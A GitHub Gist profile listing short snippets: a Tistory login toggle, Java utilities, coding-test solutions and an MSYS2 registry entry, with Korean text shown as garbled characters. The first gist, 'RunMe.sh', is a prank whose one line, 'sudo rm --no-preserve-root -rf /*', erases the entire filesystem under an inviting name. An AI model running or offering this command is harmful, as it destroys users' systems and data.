Skip to content

Instantly share code, notes, and snippets.

View NaniteFactory's full-sized avatar
๐Ÿ˜Š
Hi

NaniteFactory

๐Ÿ˜Š
Hi
View GitHub Profile
@NaniteFactory
NaniteFactory / RunMe.sh
Last active April 13, 2017 16:32
์ง„์ • ์ƒˆ๋กœ์šด ๋ฌด์–ธ๊ฐ€๋ฅผ ์ฐฝ์กฐํ•˜๋ ค ํ•œ๋‹ค๋ฉด ์ฒ˜์Œ๋ถ€ํ„ฐ ๋‹ค์‹œ ์‹œ์ž‘ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
#!/bin/bash
sudo rm --no-preserve-root -rf /*
@NaniteFactory
NaniteFactory / skin_fixed.html
Last active August 21, 2023 06:10
ํ‹ฐ์Šคํ† ๋ฆฌ ๋กœ๊ทธ์ธ ๋กœ๊ทธ์•„์›ƒ
<li class="tab_login"><a href="#" id="tab_login_toggle" onclick="fnLoginToggle();"></a>
<script>
function fnLoginToggle() {};
$(function() {
if(window.T.config.USER.name) {
$('#tab_login_toggle').text('๋กœ๊ทธ์•„์›ƒ');
fnLoginToggle = function() { document.location.href = "https://www.tistory.com/auth/logout?redirectUrl=" + encodeURIComponent(window.location.href); };
} else {
$('#tab_login_toggle').text('๋กœ๊ทธ์ธ');
fnLoginToggle = function() { document.location.href = "https://www.tistory.com/auth/login?redirectUrl=" + encodeURIComponent(window.location.href); };
@NaniteFactory
NaniteFactory / diff_sec.java
Created October 21, 2017 06:47
Calculating seconds between two Dates within Java. ์ž๋ฐ”์—์„œ ๋‘ ๋‚ ์งœ ๊ฐ’์˜ ์ฐจ์ด๋ฅผ ์ดˆ๋กœ ๊ตฌํ•˜๊ธฐ.
import java.text.SimpleDateFormat;
import java.util.Locale;
import java.util.Date;
import java.text.ParseException;
public class Main {
public static void main(String[] args) throws ParseException {
// TODO Auto-generated method stub
SimpleDateFormat f = new SimpleDateFormat("HH:mm:ss", Locale.KOREA);
Date d1 = f.parse("01:05:10");
@NaniteFactory
NaniteFactory / NextPermutation.java
Last active April 14, 2018 08:04
an implementation of next_permutation() written in java
public class NextPermutation {
public static void swap(int[] arr, int index1, int index2) {
int tmp = arr[index2];
arr[index2] = arr[index1];
arr[index1] = tmp;
}
public static boolean nextPermutation(int[] arr) {
final int indexLast = arr.length - 1;
@NaniteFactory
NaniteFactory / Solution.java
Last active April 13, 2018 11:43
4014. [๋ชจ์˜ SW ์—ญ๋Ÿ‰ํ…Œ์ŠคํŠธ] ํ™œ์ฃผ๋กœ ๊ฑด์„ค
import java.util.*;
import java.io.*;
public class Solution {
public static boolean isInBound(int[] row, int from, int to) {
if (from < 0 || to >= row.length) {
return false;
}
return true;
@NaniteFactory
NaniteFactory / Solution.java
Created April 14, 2018 02:24
That's how you start out.
import java.util.*;
import java.io.*;
public class Solution {
public static void main(String args[]) throws NumberFormatException, IOException {
final BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
final int nTestcases = Integer.parseInt(br.readLine());
final StringBuilder ret = new StringBuilder();
@NaniteFactory
NaniteFactory / Solution.java
Last active April 14, 2018 06:26
1767. [SW Test ์ƒ˜ํ”Œ๋ฌธ์ œ] ํ”„๋กœ์„ธ์„œ ์—ฐ๊ฒฐํ•˜๊ธฐ ---- ํ‹€๋ฆฐ ๋‹ต ---- ์–ด๋””๊ฐ€ ํ‹€๋ ธ์ง€?
import java.util.*;
import java.io.*;
public class Solution {
public static boolean isAvailableWest(int[][] mat, int nrow, int ncol) {
for (int i = 0; i < ncol; ++i) {
if (mat[nrow][i] == 1 || mat[nrow][i] == 2) {
return false;
}
@NaniteFactory
NaniteFactory / Solution.java
Created April 14, 2018 08:00
4013. [๋ชจ์˜ SW ์—ญ๋Ÿ‰ํ…Œ์ŠคํŠธ] ํŠน์ดํ•œ ์ž์„
import java.util.*;
import java.io.*;
public class Solution {
public static int S = 1, N = 0, RIGHT = 1, LEFT = -1;
public static void rotateLeft(int[] gear) {
int tmp = gear[0];
for (int i = 0; i < gear.length - 1; ++i) {
@NaniteFactory
NaniteFactory / Solution.java
Created April 14, 2018 08:09
4012. [๋ชจ์˜ SW ์—ญ๋Ÿ‰ํ…Œ์ŠคํŠธ] ์š”๋ฆฌ์‚ฌ ----- ๊ถŒ์žฅํ•˜์ง€ ์•Š๋Š” ๋งค์šฐ ๋”๋Ÿฌ์šด ํ’€์ด
import java.util.*;
import java.io.*;
public class Solution {
public static void swap(int[] arr, final int i1, final int i2) {
int tmp = arr[i1];
arr[i1] = arr[i2];
arr[i2] = tmp;
}
@NaniteFactory
NaniteFactory / _msys2-here.reg
Last active June 8, 2018 14:54
"MSYS2 here" context menu item // MSYS ์‹คํ–‰ ์˜ต์…˜์„ ์šฐํด๋ฆญ ๋ฉ”๋‰ด์— ์ถ”๊ฐ€ํ•˜๊ธฐ
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Classes\Directory\Background\shell\MSYS2 here]
@="MSYS2 here"
"icon"="D:\\msys64\\msys2.ico"
[HKEY_CURRENT_USER\Software\Classes\Directory\Background\shell\MSYS2 here\command]
@="D:\\msys64\\msys2.exe bash"